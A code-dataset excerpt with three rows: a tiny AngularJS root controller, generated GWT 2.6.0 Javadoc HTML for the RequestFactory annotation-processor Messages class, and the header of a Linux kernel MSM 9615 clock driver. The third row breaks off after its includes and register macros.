code
stringlengths 3
1.01M
| repo_name
stringlengths 5
116
| path
stringlengths 3
311
| language
stringclasses 30
values | license
stringclasses 15
values | size
int64 3
1.01M
|
|---|---|---|---|---|---|
angular.module('hexafacture')
.controller('RootCtrl', function (TheDebug,
TheExport,
TheIcons
) {
var vmRoot = this;
vmRoot.TheIcons = TheIcons;
vmRoot.isDev = TheDebug.isDev;
});
|
manuel-m/hexafacture
|
src/app/components/root.controller.js
|
JavaScript
|
gpl-2.0
| 276
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!--NewPage-->
<HTML>
<HEAD>
<TITLE>
Messages (Google Web Toolkit Javadoc)
</TITLE>
<LINK REL ="stylesheet" TYPE="text/css" HREF="../../../../../../stylesheet.css" TITLE="Style">
<SCRIPT type="text/javascript">
function windowTitle()
{
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="Messages (Google Web Toolkit Javadoc)";
}
}
</SCRIPT>
<NOSCRIPT>
</NOSCRIPT>
</HEAD>
<BODY BGCOLOR="white" onload="windowTitle();">
<HR>
<!-- ========= START OF TOP NAVBAR ======= -->
<A NAME="navbar_top"><!-- --></A>
<A HREF="#skip-navbar_top" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_top_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="class-use/Messages.html"><FONT CLASS="NavBarFont1"><B>Use</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
GWT 2.6.0</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/HaltException.html" title="class in com.google.web.bindery.requestfactory.apt"><B>PREV CLASS</B></A>
<A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/ProxyScanner.html" title="class in com.google.web.bindery.requestfactory.apt"><B>NEXT CLASS</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../../../../index.html?com/google/web/bindery/requestfactory/apt/Messages.html" target="_top"><B>FRAMES</B></A>
<A HREF="Messages.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
<TR>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
SUMMARY: NESTED | FIELD | CONSTR | <A HREF="#method_summary">METHOD</A></FONT></TD>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
DETAIL: FIELD | CONSTR | <A HREF="#method_detail">METHOD</A></FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_top"></A>
<!-- ========= END OF TOP NAVBAR ========= -->
<HR>
<!-- ======== START OF CLASS DATA ======== -->
<H2>
<FONT SIZE="-1">
com.google.web.bindery.requestfactory.apt</FONT>
<BR>
Class Messages</H2>
<PRE>
java.lang.Object
<IMG SRC="../../../../../../resources/inherit.gif" ALT="extended by "><B>com.google.web.bindery.requestfactory.apt.Messages</B>
</PRE>
<HR>
<DL>
<DT><PRE> class <B>Messages</B><DT>extends java.lang.Object</DL>
</PRE>
<P>
Contains string-formatting methods to produce error messages. This class
exists to avoid the need to duplicate error messages in test code. All method
parameters in this class accept <code>Object</code> so that the production code
can pass <code>javax.lang.model</code> types and the test code can pass Strings.
<P>
<P>
<HR>
<P>
<!-- ========== METHOD SUMMARY =========== -->
<A NAME="method_summary"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2">
<B>Method Summary</B></FONT></TH>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#contextMissingDomainType(java.lang.Object)">contextMissingDomainType</A></B>(java.lang.Object domainTypeName)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#contextMustBeAnnotated(java.lang.Object)">contextMustBeAnnotated</A></B>(java.lang.Object requestContextName)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#contextRequiredReturnTypes(java.lang.Object, java.lang.Object)">contextRequiredReturnTypes</A></B>(java.lang.Object requestName,
java.lang.Object instanceRequestName)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#deobfuscatorMissingContext(java.lang.Object)">deobfuscatorMissingContext</A></B>(java.lang.Object contextName)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#deobfuscatorMissingProxy(java.lang.Object)">deobfuscatorMissingProxy</A></B>(java.lang.Object proxyName)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#domainFindNotStatic(java.lang.Object)">domainFindNotStatic</A></B>(java.lang.Object domainTypeName)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#domainGetIdStatic()">domainGetIdStatic</A></B>()</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#domainGetVersionStatic()">domainGetVersionStatic</A></B>()</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#domainMethodNotPublic(java.lang.Object)">domainMethodNotPublic</A></B>(java.lang.Object domainMethodName)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#domainMethodWrongModifier(boolean, java.lang.Object)">domainMethodWrongModifier</A></B>(boolean expectStatic,
java.lang.Object domainMethodName)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#domainMissingFind(java.lang.Object, java.lang.Object, java.lang.Object, java.lang.Object)">domainMissingFind</A></B>(java.lang.Object domainType,
java.lang.Object simpleName,
java.lang.Object getIdReturnType,
java.lang.Object checkedTypeName)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#domainMissingMethod(java.lang.Object)">domainMissingMethod</A></B>(java.lang.Object description)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#domainNoGetId(java.lang.Object)">domainNoGetId</A></B>(java.lang.Object domainType)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#domainNoGetVersion(java.lang.Object)">domainNoGetVersion</A></B>(java.lang.Object domainType)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#domainNotDefaultInstantiable(java.lang.Object, java.lang.Object, java.lang.Object)">domainNotDefaultInstantiable</A></B>(java.lang.Object domainName,
java.lang.Object proxyName,
java.lang.Object requestContextName)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#factoryMustBeAssignable(java.lang.Object)">factoryMustBeAssignable</A></B>(java.lang.Object assignableTo)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#factoryMustReturnInterface(java.lang.Object)">factoryMustReturnInterface</A></B>(java.lang.Object returnType)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#factoryNoMethodParameters()">factoryNoMethodParameters</A></B>()</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#methodNoDomainPeer(java.lang.Object, boolean)">methodNoDomainPeer</A></B>(java.lang.Object proxyTypeName,
boolean isParameter)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#noSuchType(java.lang.String)">noSuchType</A></B>(java.lang.String binaryTypeName)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#proxyMissingDomainType(java.lang.Object)">proxyMissingDomainType</A></B>(java.lang.Object missingDomainName)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#proxyMustBeAnnotated(java.lang.Object)">proxyMustBeAnnotated</A></B>(java.lang.Object typeName)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#proxyOnlyGettersSetters()">proxyOnlyGettersSetters</A></B>()</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#rawType()">rawType</A></B>()</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#redundantAnnotation(java.lang.Object)">redundantAnnotation</A></B>(java.lang.Object annotationName)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#untransportableType(java.lang.Object)">untransportableType</A></B>(java.lang.Object returnType)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/Messages.html#warnSuffix()">warnSuffix</A></B>()</CODE>
<BR>
</TD>
</TR>
</TABLE>
<A NAME="methods_inherited_from_class_java.lang.Object"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor">
<TH ALIGN="left"><B>Methods inherited from class java.lang.Object</B></TH>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE>clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</CODE></TD>
</TR>
</TABLE>
<P>
<!-- ============ METHOD DETAIL ========== -->
<A NAME="method_detail"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="1"><FONT SIZE="+2">
<B>Method Detail</B></FONT></TH>
</TR>
</TABLE>
<A NAME="contextMissingDomainType(java.lang.Object)"><!-- --></A><H3>
contextMissingDomainType</H3>
<PRE>
public static java.lang.String <B>contextMissingDomainType</B>(java.lang.Object domainTypeName)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="contextMustBeAnnotated(java.lang.Object)"><!-- --></A><H3>
contextMustBeAnnotated</H3>
<PRE>
public static java.lang.String <B>contextMustBeAnnotated</B>(java.lang.Object requestContextName)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="contextRequiredReturnTypes(java.lang.Object, java.lang.Object)"><!-- --></A><H3>
contextRequiredReturnTypes</H3>
<PRE>
public static java.lang.String <B>contextRequiredReturnTypes</B>(java.lang.Object requestName,
java.lang.Object instanceRequestName)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="deobfuscatorMissingContext(java.lang.Object)"><!-- --></A><H3>
deobfuscatorMissingContext</H3>
<PRE>
public static java.lang.String <B>deobfuscatorMissingContext</B>(java.lang.Object contextName)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="deobfuscatorMissingProxy(java.lang.Object)"><!-- --></A><H3>
deobfuscatorMissingProxy</H3>
<PRE>
public static java.lang.String <B>deobfuscatorMissingProxy</B>(java.lang.Object proxyName)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="domainFindNotStatic(java.lang.Object)"><!-- --></A><H3>
domainFindNotStatic</H3>
<PRE>
public static java.lang.String <B>domainFindNotStatic</B>(java.lang.Object domainTypeName)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="domainGetIdStatic()"><!-- --></A><H3>
domainGetIdStatic</H3>
<PRE>
public static java.lang.String <B>domainGetIdStatic</B>()</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="domainGetVersionStatic()"><!-- --></A><H3>
domainGetVersionStatic</H3>
<PRE>
public static java.lang.String <B>domainGetVersionStatic</B>()</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="domainMethodNotPublic(java.lang.Object)"><!-- --></A><H3>
domainMethodNotPublic</H3>
<PRE>
public static java.lang.String <B>domainMethodNotPublic</B>(java.lang.Object domainMethodName)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="domainMethodWrongModifier(boolean, java.lang.Object)"><!-- --></A><H3>
domainMethodWrongModifier</H3>
<PRE>
public static java.lang.String <B>domainMethodWrongModifier</B>(boolean expectStatic,
java.lang.Object domainMethodName)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="domainMissingFind(java.lang.Object, java.lang.Object, java.lang.Object, java.lang.Object)"><!-- --></A><H3>
domainMissingFind</H3>
<PRE>
public static java.lang.String <B>domainMissingFind</B>(java.lang.Object domainType,
java.lang.Object simpleName,
java.lang.Object getIdReturnType,
java.lang.Object checkedTypeName)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="domainMissingMethod(java.lang.Object)"><!-- --></A><H3>
domainMissingMethod</H3>
<PRE>
public static java.lang.String <B>domainMissingMethod</B>(java.lang.Object description)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="domainNoGetId(java.lang.Object)"><!-- --></A><H3>
domainNoGetId</H3>
<PRE>
public static java.lang.String <B>domainNoGetId</B>(java.lang.Object domainType)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="domainNoGetVersion(java.lang.Object)"><!-- --></A><H3>
domainNoGetVersion</H3>
<PRE>
public static java.lang.String <B>domainNoGetVersion</B>(java.lang.Object domainType)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="domainNotDefaultInstantiable(java.lang.Object, java.lang.Object, java.lang.Object)"><!-- --></A><H3>
domainNotDefaultInstantiable</H3>
<PRE>
public static java.lang.String <B>domainNotDefaultInstantiable</B>(java.lang.Object domainName,
java.lang.Object proxyName,
java.lang.Object requestContextName)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="factoryMustBeAssignable(java.lang.Object)"><!-- --></A><H3>
factoryMustBeAssignable</H3>
<PRE>
public static java.lang.String <B>factoryMustBeAssignable</B>(java.lang.Object assignableTo)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="factoryMustReturnInterface(java.lang.Object)"><!-- --></A><H3>
factoryMustReturnInterface</H3>
<PRE>
public static java.lang.String <B>factoryMustReturnInterface</B>(java.lang.Object returnType)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="factoryNoMethodParameters()"><!-- --></A><H3>
factoryNoMethodParameters</H3>
<PRE>
public static java.lang.String <B>factoryNoMethodParameters</B>()</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="methodNoDomainPeer(java.lang.Object, boolean)"><!-- --></A><H3>
methodNoDomainPeer</H3>
<PRE>
public static java.lang.String <B>methodNoDomainPeer</B>(java.lang.Object proxyTypeName,
boolean isParameter)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="noSuchType(java.lang.String)"><!-- --></A><H3>
noSuchType</H3>
<PRE>
public static java.lang.String <B>noSuchType</B>(java.lang.String binaryTypeName)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="proxyMissingDomainType(java.lang.Object)"><!-- --></A><H3>
proxyMissingDomainType</H3>
<PRE>
public static java.lang.String <B>proxyMissingDomainType</B>(java.lang.Object missingDomainName)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="proxyMustBeAnnotated(java.lang.Object)"><!-- --></A><H3>
proxyMustBeAnnotated</H3>
<PRE>
public static java.lang.String <B>proxyMustBeAnnotated</B>(java.lang.Object typeName)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="proxyOnlyGettersSetters()"><!-- --></A><H3>
proxyOnlyGettersSetters</H3>
<PRE>
public static java.lang.String <B>proxyOnlyGettersSetters</B>()</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="rawType()"><!-- --></A><H3>
rawType</H3>
<PRE>
public static java.lang.String <B>rawType</B>()</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="redundantAnnotation(java.lang.Object)"><!-- --></A><H3>
redundantAnnotation</H3>
<PRE>
public static java.lang.String <B>redundantAnnotation</B>(java.lang.Object annotationName)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="untransportableType(java.lang.Object)"><!-- --></A><H3>
untransportableType</H3>
<PRE>
public static java.lang.String <B>untransportableType</B>(java.lang.Object returnType)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="warnSuffix()"><!-- --></A><H3>
warnSuffix</H3>
<PRE>
public static java.lang.String <B>warnSuffix</B>()</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<!-- ========= END OF CLASS DATA ========= -->
<HR>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<A NAME="navbar_bottom"><!-- --></A>
<A HREF="#skip-navbar_bottom" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_bottom_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="class-use/Messages.html"><FONT CLASS="NavBarFont1"><B>Use</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
GWT 2.6.0</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/HaltException.html" title="class in com.google.web.bindery.requestfactory.apt"><B>PREV CLASS</B></A>
<A HREF="../../../../../../com/google/web/bindery/requestfactory/apt/ProxyScanner.html" title="class in com.google.web.bindery.requestfactory.apt"><B>NEXT CLASS</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../../../../index.html?com/google/web/bindery/requestfactory/apt/Messages.html" target="_top"><B>FRAMES</B></A>
<A HREF="Messages.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
<TR>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
SUMMARY: NESTED | FIELD | CONSTR | <A HREF="#method_summary">METHOD</A></FONT></TD>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
DETAIL: FIELD | CONSTR | <A HREF="#method_detail">METHOD</A></FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_bottom"></A>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<HR>
</BODY>
</HTML>
|
JakaCikac/dScrum
|
web/WEB-INF/classes/gwt-2.6.0/doc/javadoc/com/google/web/bindery/requestfactory/apt/Messages.html
|
HTML
|
gpl-2.0
| 28,030
|
/* Copyright (c) 2009-2011, Code Aurora Forum. All rights reserved.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 and
* only version 2 as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/err.h>
#include <linux/ctype.h>
#include <linux/bitops.h>
#include <linux/io.h>
#include <linux/spinlock.h>
#include <linux/delay.h>
#include <linux/clk.h>
#include <linux/clkdev.h>
#include <asm/mach-types.h>
#include <mach/msm_iomap.h>
#include <mach/clk.h>
#include <mach/msm_xo.h>
#include <mach/rpm-9615.h>
#include <mach/rpm-regulator.h>
#include "clock-local.h"
#include "clock-voter.h"
#include "clock-rpm.h"
#include "devices.h"
#define REG(off) (MSM_CLK_CTL_BASE + (off))
#define REG_LPA(off) (MSM_LPASS_CLK_CTL_BASE + (off))
#define REG_GCC(off) (MSM_APCS_GCC_BASE + (off))
